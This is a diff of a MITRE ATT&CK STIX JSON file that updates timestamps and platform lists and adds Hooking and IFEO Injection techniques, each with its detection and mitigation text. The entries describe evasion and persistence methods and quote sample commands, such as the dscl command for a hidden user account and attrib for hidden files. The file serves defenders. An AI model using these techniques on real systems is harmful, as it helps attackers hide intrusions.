             "id": "attack-pattern--086952c4-5b90-4185-b573-02bad8e11953",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "HISTCONTROL",
-            "description": "The <code>HISTCONTROL</code> environment variable keeps track of what should be saved by the <code>history</code> command and eventually into the <code>~/.bash_history</code> file when a user logs out. This setting can be configured to ignore commands that start with a space by simply setting it to \"ignorespace\". <code>HISTCONTROL</code> can also be set to ignore duplicate commands by setting it to \"ignoredups\". In some Linux systems, this is set by default to \"ignoreboth\" which covers both of the previous examples. This means that \u201c ls\u201d will not be saved, but \u201cls\u201d would be saved by history. <code>HISTCONTROL</code> does not exist by default on macOS, but can be set by the user and will be respected. Adversaries can use this to operate without leaving traces by simply prepending a space to all of their terminal commands.\n\nDetection: Correlating a user session with a distinct lack of new commands in their <code>.bash_history</code> can be a clue to suspicious behavior. Additionally, users checking or changing their <code>HISTCONTROL</code> environment variable is also suspicious.\n\nPlatforms: Linux, MacOS, OS X\n\nData Sources: Process Monitoring, Authentication logs, File monitoring, Environment variable\n\nDefense Bypassed: Log analysis, Host forensic analysis\n\nPermissions Required: User",
+            "description": "The <code>HISTCONTROL</code> environment variable keeps track of what should be saved by the <code>history</code> command and eventually into the <code>~/.bash_history</code> file when a user logs out. This setting can be configured to ignore commands that start with a space by simply setting it to \"ignorespace\". <code>HISTCONTROL</code> can also be set to ignore duplicate commands by setting it to \"ignoredups\". In some Linux systems, this is set by default to \"ignoreboth\" which covers both of the previous examples. This means that \u201c ls\u201d will not be saved, but \u201cls\u201d would be saved by history. <code>HISTCONTROL</code> does not exist by default on macOS, but can be set by the user and will be respected. Adversaries can use this to operate without leaving traces by simply prepending a space to all of their terminal commands.\n\nDetection: Correlating a user session with a distinct lack of new commands in their <code>.bash_history</code> can be a clue to suspicious behavior. Additionally, users checking or changing their <code>HISTCONTROL</code> environment variable is also suspicious.\n\nPlatforms: Linux, macOS\n\nData Sources: Process Monitoring, Authentication logs, File monitoring, Environment variable\n\nDefense Bypassed: Log analysis, Host forensic analysis\n\nPermissions Required: User",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -5846,21 +5791,20 @@
                 "Log analysis",
                 "Host forensic analysis"
             ],
-            "x_mitre_permissions_required": [
-                "User"
-            ],
             "x_mitre_platforms": [
                 "Linux",
-                "MacOS",
-                "OS X"
+                "macOS"
+            ],
+            "x_mitre_permissions_required": [
+                "User"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--84d633a4-dd93-40ca-8510-40238c021931",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Hidden Files and Directories Mitigation",
             "description": "Mitigation of this technique may be difficult and unadvised due to the the legitimate use of hidden files and directories.",
             "external_references": [
@@ -5876,9 +5820,9 @@
             "id": "attack-pattern--dc27c2ec-c5f9-4228-ba57-d67b590bda93",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Hidden Files and Directories",
-            "description": "To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a \u2018hidden\u2019 file. These files don\u2019t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (<code>dir /a</code> for Windows and <code>ls \u2013a</code> for Linux and macOS).\n\n===Windows===\n\nUsers can mark specific files as hidden by using the attrib.exe binary. Simply do <code>attrib +h filename</code> to mark a file or folder as hidden. Similarly, the \u201c+s\u201d marks a file as a system file and the \u201c+r\u201d flag marks the file as read only. Like most windows binaries, the attrib.exe binary provides the ability to apply these changes recursively \u201c/S\u201d.\n\n===Linux/Mac===\n\nUsers can mark specific files as hidden simply by putting a \u201c.\u201d as the first character in the file or folder name  (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folder that start with a period, \u2018.\u2019, are by default hidden from being viewed in the Finder application and standard command-line utilities like \u201cls\u201d. Users must specifically change settings to have these files viewable. For command line usages, there is typically a flag to see all files (including hidden ones). To view these files in the Finder Application, the following command must be executed: <code>defaults write com.apple.finder AppleShowAllFiles YES</code>, and then relaunch the Finder Application.\n\n===Mac===\n\nFiles on macOS can be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker).\nMany applications create these hidden files and folders to store information so that it doesn\u2019t clutter up the user\u2019s workspace. For example, SSH utilities create a .ssh folder that\u2019s hidden and contains the user\u2019s known hosts and keys. \n\nAdversaries can use this to their advantage to hide files and folders anywhere on the system for persistence and evading a typical user or system analysis that does not incorporate investigation of hidden files.\n\nDetection: Monitor the file system and shell commands for files being created with a leading \".\" and the Windows command-line use of attrib.exe to add the hidden attribute.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters\n\nDefense Bypassed: Host forensic analysis\n\nPermissions Required: User",
+            "description": "To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a \u2018hidden\u2019 file. These files don\u2019t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (<code>dir /a</code> for Windows and <code>ls \u2013a</code> for Linux and macOS).\n\n===Windows===\n\nUsers can mark specific files as hidden by using the attrib.exe binary. Simply do <code>attrib +h filename</code> to mark a file or folder as hidden. Similarly, the \u201c+s\u201d marks a file as a system file and the \u201c+r\u201d flag marks the file as read only. Like most windows binaries, the attrib.exe binary provides the ability to apply these changes recursively \u201c/S\u201d.\n\n===Linux/Mac===\n\nUsers can mark specific files as hidden simply by putting a \u201c.\u201d as the first character in the file or folder name  (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folder that start with a period, \u2018.\u2019, are by default hidden from being viewed in the Finder application and standard command-line utilities like \u201cls\u201d. Users must specifically change settings to have these files viewable. For command line usages, there is typically a flag to see all files (including hidden ones). To view these files in the Finder Application, the following command must be executed: <code>defaults write com.apple.finder AppleShowAllFiles YES</code>, and then relaunch the Finder Application.\n\n===Mac===\n\nFiles on macOS can be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker).\nMany applications create these hidden files and folders to store information so that it doesn\u2019t clutter up the user\u2019s workspace. For example, SSH utilities create a .ssh folder that\u2019s hidden and contains the user\u2019s known hosts and keys. \n\nAdversaries can use this to their advantage to hide files and folders anywhere on the system for persistence and evading a typical user or system analysis that does not incorporate investigation of hidden files.\n\nDetection: Monitor the file system and shell commands for files being created with a leading \".\" and the Windows command-line use of attrib.exe to add the hidden attribute.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters\n\nDefense Bypassed: Host forensic analysis\n\nPermissions Required: User",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -5919,36 +5863,24 @@
                 "Process Monitoring",
                 "Process command-line parameters"
             ],
+            "x_mitre_defense_bypassed": [
+                "Host forensic analysis"
+            ],
             "x_mitre_permissions_required": [
                 "User"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
-            ],
-            "x_mitre_defense_bypassed": [
-                "Host forensic analysis"
+                "macOS",
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--12cba7de-0a22-4a56-b51e-c514c67c3b43",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Hidden Users Mitigation",
             "description": "If the computer is domain joined, then group policy can help restrict the ability to create or hide users. Similarly, preventing the modification of the <code>/Library/Preferences/com.apple.loginwindow</code> <code>Hide500Users</code> value will force all users to be visible.",
             "external_references": [
@@ -5964,9 +5896,9 @@
             "id": "attack-pattern--ce73ea43-8e77-47ba-9c11-5e9c9c58b9ff",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Hidden Users",
-            "description": "Every user account in macOS has a userID associated with it. When creating a user, you can specify the userID for that account. There is a property value in <code>/Library/Preferences/com.apple.loginwindow</code> called <code>Hide500Users</code> that prevents users with userIDs 500 and lower from appearing at the login screen. By using the Create Account technique with a userID under 500 and enabling this property (setting it to Yes), an adversary can hide their user accounts much more easily: <code>sudo dscl . -create /Users/username UniqueID 401</code> (Citation: Cybereason OSX Pirrit).\n\nDetection: This technique prevents the new user from showing up at the log in screen, but all of the other signs of a new user still exist. The user still gets a home directory and will appear in the authentication logs.\n\nPlatforms: MacOS, OS X\n\nData Sources: Authentication logs, File monitoring\n\nPermissions Required: Administrator, root",
+            "description": "Every user account in macOS has a userID associated with it. When creating a user, you can specify the userID for that account. There is a property value in <code>/Library/Preferences/com.apple.loginwindow</code> called <code>Hide500Users</code> that prevents users with userIDs 500 and lower from appearing at the login screen. By using the Create Account technique with a userID under 500 and enabling this property (setting it to Yes), an adversary can hide their user accounts much more easily: <code>sudo dscl . -create /Users/username UniqueID 401</code> (Citation: Cybereason OSX Pirrit).\n\nDetection: This technique prevents the new user from showing up at the log in screen, but all of the other signs of a new user still exist. The user still gets a home directory and will appear in the authentication logs.\n\nPlatforms: macOS\n\nData Sources: Authentication logs, File monitoring\n\nPermissions Required: Administrator, root",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -5993,8 +5925,7 @@
                 "File monitoring"
             ],
             "x_mitre_platforms": [
-                "MacOS",
-                "OS X"
+                "macOS"
             ],
             "x_mitre_permissions_required": [
                 "Administrator",
@@ -6005,8 +5936,8 @@
             "type": "course-of-action",
             "id": "course-of-action--fae44eea-caa7-42b7-a2e2-0c815ba81b9a",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Hidden Window Mitigation",
             "description": "Whitelist programs that are allowed to have this plist tag. All other programs should be considered suspicious.",
             "external_references": [
@@ -6022,9 +5953,9 @@
             "id": "attack-pattern--04ee0cb7-dac3-4c6c-9387-4c6aa096f4cf",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-12-14T16:46:06.044Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Hidden Window",
-            "description": "The configurations for how applications run on macOS and OS X are listed in property list (plist) files. One of the tags in these files can be <code>apple.awt.UIElement</code>, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock. However, adversaries can abuse this feature and hide their running window  (Citation: Antiquated Mac Malware).\n\nDetection: Plist files are ASCII text files with a specific format, so they're relatively easy to parse. File monitoring can check for the <code>apple.awt.UIElement</code> or any other suspicious plist tag in plist files and flag them.\n\nPlatforms: MacOS, OS X\n\nData Sources: File monitoring\n\nPermissions Required: User",
+            "description": "The configurations for how applications run on macOS and OS X are listed in property list (plist) files. One of the tags in these files can be <code>apple.awt.UIElement</code>, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock. However, adversaries can abuse this feature and hide their running window  (Citation: Antiquated Mac Malware).\n\nDetection: Plist files are ASCII text files with a specific format, so they're relatively easy to parse. File monitoring can check for the <code>apple.awt.UIElement</code> or any other suspicious plist tag in plist files and flag them.\n\nPlatforms: macOS\n\nData Sources: File monitoring\n\nPermissions Required: User",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -6049,20 +5980,157 @@
             "x_mitre_data_sources": [
                 "File monitoring"
             ],
+            "x_mitre_platforms": [
+                "macOS"
+            ],
             "x_mitre_permissions_required": [
                 "User"
+            ]
+        },
+        {
+            "type": "course-of-action",
+            "id": "course-of-action--7aee8ea0-0baa-4232-b379-5d9ce98352cf",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Hooking Mitigation",
+            "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating all hooking will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.",
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Technique/T1179",
+                    "external_id": "T1179"
+                }
+            ]
+        },
+        {
+            "type": "attack-pattern",
+            "id": "attack-pattern--66f73398-8394-4711-85e5-34c8540b22a5",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Hooking",
+            "description": "Windows processes often leverage application programming interface (API) functions to perform tasks that require reusable system resources. Windows API functions are typically stored in dynamic-link libraries (DLLs) as exported functions. Hooking involves redirecting calls to these functions and can be implemented via:\n* '''Hooks procedures''', which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs. (Citation: Microsoft Hook Overview) (Citation: Engame Process Injection July 2017)\n* '''Import address table (IAT) hooking''', which use modifications to a process\u2019s IAT, where pointers to imported API functions are stored. (Citation: Engame Process Injection July 2017) (Citation: Adlice Software IAT Hooks Oct 2014) (Citation: MWRInfoSecurity Dynamic Hooking 2015)\n* '''Inline hooking''', which overwrites the first bytes in an API function to redirect code flow. (Citation: Engame Process Injection July 2017) (Citation: HighTech Bridge Inline Hooking Sept 2011) (Citation: MWRInfoSecurity Dynamic Hooking 2015)\n\nSimilar to Process Injection, adversaries may use hooking to load and execute malicious code within the context of another process, masking the execution while also allowing access to the process's memory and possibly elevated privileges. Installing hooking mechanisms may also provide Persistence via continuous invocation when the functions are called through normal use.\n\nMalicious hooking mechanisms may also capture API calls that include parameters that reveal user authentication credentials for Credential Access. (Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017)\n\nHooking is commonly utilized by Rootkits to conceal files,\nprocesses, Registry keys, and other objects in order to hide malware and associated behaviors. (Citation: Symantec Windows Rootkits)\n\nDetection: Monitor for calls to the SetWindowsHookEx and SetWinEventHook functions, which install a hook procedure. (Citation: Microsoft Hook Overview) (Citation: Volatility Detecting Hooks Sept 2012) Also consider analyzing hook chains (which hold pointers to hook procedures for each type of hook) using tools  (Citation: Volatility Detecting Hooks Sept 2012) (Citation: PreKageo Winhook Jul 2011) (Citation: Jay GetHooks Sept 2011) or by programmatically examining internal kernel structures. (Citation: Zairon Hooking Dec 2006) (Citation: EyeofRa Detecting Hooking June 2017)\n\nRootkits detectors  (Citation: GMER Rootkits) can also be used to monitor for various flavors of hooking activity.\n\nVerify integrity of live processes by comparing code in memory to that of corresponding static binaries, specifically checking for jumps and other instructions that redirect code flow. Also consider taking snapshots of newly started processes  (Citation: Microsoft Process Snapshot) to compare the in-memory IAT to the real addresses of the referenced functions. (Citation: StackExchange Hooks Jul 2012) (Citation: Adlice Software IAT Hooks Oct 2014)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.\n\nPlatforms: Windows\n\nData Sources: API monitoring, Binary file metadata, DLL monitoring, Loaded DLLs, Process Monitoring, Windows event logs\n\nPermissions Required: Administrator, SYSTEM",
+            "kill_chain_phases": [
+                {
+                    "kill_chain_name": "mitre-attack",
+                    "phase_name": "credential-access"
+                },
+                {
+                    "kill_chain_name": "mitre-attack",
+                    "phase_name": "persistence"
+                },
+                {
+                    "kill_chain_name": "mitre-attack",
+                    "phase_name": "privilege-escalation"
+                }
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Technique/T1179",
+                    "external_id": "T1179"
+                },
+                {
+                    "source_name": "Microsoft Hook Overview",
+                    "description": "Microsoft. (n.d.). Hooks Overview. Retrieved December 12, 2017.",
+                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx"
+                },
+                {
+                    "source_name": "Engame Process Injection July 2017",
+                    "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.",
+                    "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"
+                },
+                {
+                    "source_name": "Adlice Software IAT Hooks Oct 2014",
+                    "description": "Tigzy. (2014, October 15). Userland Rootkits: Part 1, IAT hooks. Retrieved December 12, 2017.",
+                    "url": "https://www.adlice.com/userland-rootkits-part-1-iat-hooks/"
+                },
+                {
+                    "source_name": "MWRInfoSecurity Dynamic Hooking 2015",
+                    "description": "Hillman, M. (2015, August 8). Dynamic Hooking Techniques: User Mode. Retrieved December 20, 2017.",
+                    "url": "https://www.mwrinfosecurity.com/our-thinking/dynamic-hooking-techniques-user-mode/"
+                },
+                {
+                    "source_name": "HighTech Bridge Inline Hooking Sept 2011",
+                    "description": "Mariani, B. (2011, September 6). Inline Hooking in Windows. Retrieved December 12, 2017.",
+                    "url": "https://www.exploit-db.com/docs/17802.pdf"
+                },
+                {
+                    "source_name": "Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017",
+                    "description": "Microsoft. (2017, September 15). TrojanSpy:Win32/Ursnif.gen!I. Retrieved December 18, 2017."
+                },
+                {
+                    "source_name": "Symantec Windows Rootkits",
+                    "description": "Symantec. (n.d.). Windows Rootkit Overview. Retrieved December 21, 2017.",
+                    "url": "https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf"
+                },
+                {
+                    "source_name": "Volatility Detecting Hooks Sept 2012",
+                    "description": "Volatility Labs. (2012, September 24). MoVP 3.1 Detecting Malware Hooks in the Windows GUI Subsystem. Retrieved December 12, 2017.",
+                    "url": "https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html"
+                },
+                {
+                    "source_name": "PreKageo Winhook Jul 2011",
+                    "description": "Prekas, G. (2011, July 11). Winhook. Retrieved December 12, 2017.",
+                    "url": "https://github.com/prekageo/winhook"
+                },
+                {
+                    "source_name": "Jay GetHooks Sept 2011",
+                    "description": "Satiro, J. (2011, September 14). GetHooks. Retrieved December 12, 2017.",
+                    "url": "https://github.com/jay/gethooks"
+                },
+                {
+                    "source_name": "Zairon Hooking Dec 2006",
+                    "description": "Felici, M. (2006, December 6). Any application-defined hook procedure on my machine?. Retrieved December 12, 2017.",
+                    "url": "https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/"
+                },
+                {
+                    "source_name": "EyeofRa Detecting Hooking June 2017",
+                    "description": "Eye of Ra. (2017, June 27). Windows Keylogger Part 2: Defense against user-land. Retrieved December 12, 2017.",
+                    "url": "https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/"
+                },
+                {
+                    "source_name": "GMER Rootkits",
+                    "description": "GMER. (n.d.). GMER. Retrieved December 12, 2017.",
+                    "url": "http://www.gmer.net/"
+                },
+                {
+                    "source_name": "Microsoft Process Snapshot",
+                    "description": "Microsoft. (n.d.). Taking a Snapshot and Viewing Processes. Retrieved December 12, 2017.",
+                    "url": "https://msdn.microsoft.com/library/windows/desktop/ms686701.aspx"
+                },
+                {
+                    "source_name": "StackExchange Hooks Jul 2012",
+                    "description": "Stack Exchange - Security. (2012, July 31). What are the methods to find hooked functions and APIs?. Retrieved December 12, 2017.",
+                    "url": "https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_data_sources": [
+                "API monitoring",
+                "Binary file metadata",
+                "DLL monitoring",
+                "Loaded DLLs",
+                "Process Monitoring",
+                "Windows event logs"
+            ],
+            "x_mitre_permissions_required": [
+                "Administrator",
+                "SYSTEM"
             ],
             "x_mitre_platforms": [
-                "MacOS",
-                "OS X"
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--2c3ce852-06a2-40ee-8fe6-086f6402a739",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Hypervisor Mitigation",
             "description": "Prevent adversary access to privileged accounts necessary to install a hypervisor.",
             "external_references": [
@@ -6078,9 +6146,9 @@
             "id": "attack-pattern--4be89c7c-ace6-4876-9377-c8d54cef3d63",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:50.958Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Hypervisor",
-            "description": "A type-1 hypervisor is a software layer that sits between the guest operating systems and system's hardware. (Citation: Wikipedia Hypervisor) It presents a virtual running environment to an operating system. An example of a common hypervisor is Xen. (Citation: Wikipedia Xen) A type-1 hypervisor operates at a level below the operating system and could be designed with Rootkit functionality to hide its existence from the guest operating system. (Citation: Myers 2007) A malicious hypervisor of this nature could be used to persist on systems through interruption.\n\nDetection: Type-1 hypervisors may be detected by performing timing analysis. Hypervisors emulate certain CPU instructions that would normally be executed by the hardware. If an instruction takes orders of magnitude longer to execute than normal on a system that should not contain a hypervisor, one may be present. (Citation: virtualization.info 2006)\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: System calls\n\nPermissions Required: Administrator, SYSTEM",
+            "description": "A type-1 hypervisor is a software layer that sits between the guest operating systems and system's hardware. (Citation: Wikipedia Hypervisor) It presents a virtual running environment to an operating system. An example of a common hypervisor is Xen. (Citation: Wikipedia Xen) A type-1 hypervisor operates at a level below the operating system and could be designed with Rootkit functionality to hide its existence from the guest operating system. (Citation: Myers 2007) A malicious hypervisor of this nature could be used to persist on systems through interruption.\n\nDetection: Type-1 hypervisors may be detected by performing timing analysis. Hypervisors emulate certain CPU instructions that would normally be executed by the hardware. If an instruction takes orders of magnitude longer to execute than normal on a system that should not contain a hypervisor, one may be present. (Citation: virtualization.info 2006)\n\nPlatforms: Windows\n\nData Sources: System calls\n\nPermissions Required: Administrator, SYSTEM",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -6125,18 +6193,113 @@
                 "SYSTEM"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
+            ]
+        },
+        {
+            "type": "course-of-action",
+            "id": "course-of-action--33f76731-b840-446f-bee0-53687dad24d9",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Image File Execution Options Injection Mitigation",
+            "description": "This type of attack technique cannot be easily mitigated with preventive controls since it is based on the abuse of operating system design features. For example, mitigating all IFEO will likely have unintended side effects, such as preventing legitimate software (i.e., security products) from operating properly. (Citation: Microsoft IFEOorMalware July 2015) Efforts should be focused on preventing adversary tools from running earlier in the chain of activity and on identifying subsequent malicious behavior.\n\nIdentify and block potentially malicious software that may be executed through IFEO by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) that are capable of auditing and/or blocking unknown executables.",
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Technique/T1183",
+                    "external_id": "T1183"
+                },
+                {
+                    "source_name": "Microsoft IFEOorMalware July 2015",
+                    "description": "Microsoft. (2015, July 30). Part of Windows 10 or really Malware?. Retrieved December 18, 2017.",
+                    "url": "https://answers.microsoft.com/windows/forum/windows%2010-security/part-of-windows-10-or-really-malware/af715663-a34a-423c-850d-2a46f369a54c"
+                },
+                {
+                    "source_name": "Beechey 2010",
+                    "description": "Beechey, J. (2010, December). Application Whitelisting: Panacea or Propaganda?. Retrieved November 18, 2014.",
+                    "url": "http://www.sans.org/reading-room/whitepapers/application/application-whitelisting-panacea-propaganda-33599"
+                },
+                {
+                    "source_name": "Windows Commands JPCERT",
+                    "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
+                    "url": "http://blog.jpcert.or.jp/2016/01/windows-commands-abused-by-attackers.html"
+                },
+                {
+                    "source_name": "NSA MS AppLocker",
+                    "description": "NSA Information Assurance Directorate. (2014, August). Application Whitelisting Using Microsoft AppLocker. Retrieved March 31, 2016.",
+                    "url": "https://www.iad.gov/iad/library/ia-guidance/tech-briefs/application-whitelisting-using-microsoft-applocker.cfm"
+                }
+            ]
+        },
+        {
+            "type": "attack-pattern",
+            "id": "attack-pattern--62166220-e498-410f-a90a-19d4339d4e99",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Image File Execution Options Injection",
+            "description": "Image File Execution Options (IFEO) enable a developer to attach a debugger to an application. When a process is created, any executable file present in an application\u2019s IFEO will be prepended to the application\u2019s name, effectively launching the new process under the debugger (e.g., \u201cC:\\dbg\\ntsd.exe -g  notepad.exe\u201d). (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can be set directly via the Registry or in Global Flags via the Gflags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as Debugger Values in the Registry under <code>HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options/<executable></code> and <code> HKLM\\SOFTWARE\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\<executable> </code> where <code><executable></code> is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nSimilar to Process Injection, this value can be abused to obtain persistence and privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Engame Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous invocation.\n\nMalware may also use IFEO for Defense Evasion by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)\n\nDetection: Monitor for common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as <code>DEBUG_PROCESS</code> and <code>DEBUG_ONLY_THIS_PROCESS</code>. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nMonitor the IFEOs Registry value for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Engame Process Injection July 2017)\n\nPlatforms: Windows\n\nData Sources: Process Monitoring, Windows Registry, Windows event logs\n\nPermissions Required: Administrator, SYSTEM",
+            "kill_chain_phases": [
+                {
+                    "kill_chain_name": "mitre-attack",
+                    "phase_name": "defense-evasion"
+                },
+                {
+                    "kill_chain_name": "mitre-attack",
+                    "phase_name": "persistence"
+                },
+                {
+                    "kill_chain_name": "mitre-attack",
+                    "phase_name": "privilege-escalation"
+                }
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Technique/T1183",
+                    "external_id": "T1183"
+                },
+                {
+                    "source_name": "Microsoft Dev Blog IFEO Mar 2010",
+                    "description": "Shanbhag, M. (2010, March 24). Image File Execution Options (IFEO). Retrieved December 18, 2017.",
+                    "url": "https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/"
+                },
+                {
+                    "source_name": "Microsoft GFlags Mar 2017",
+                    "description": "Microsoft. (2017, May 23). GFlags Overview. Retrieved December 18, 2017.",
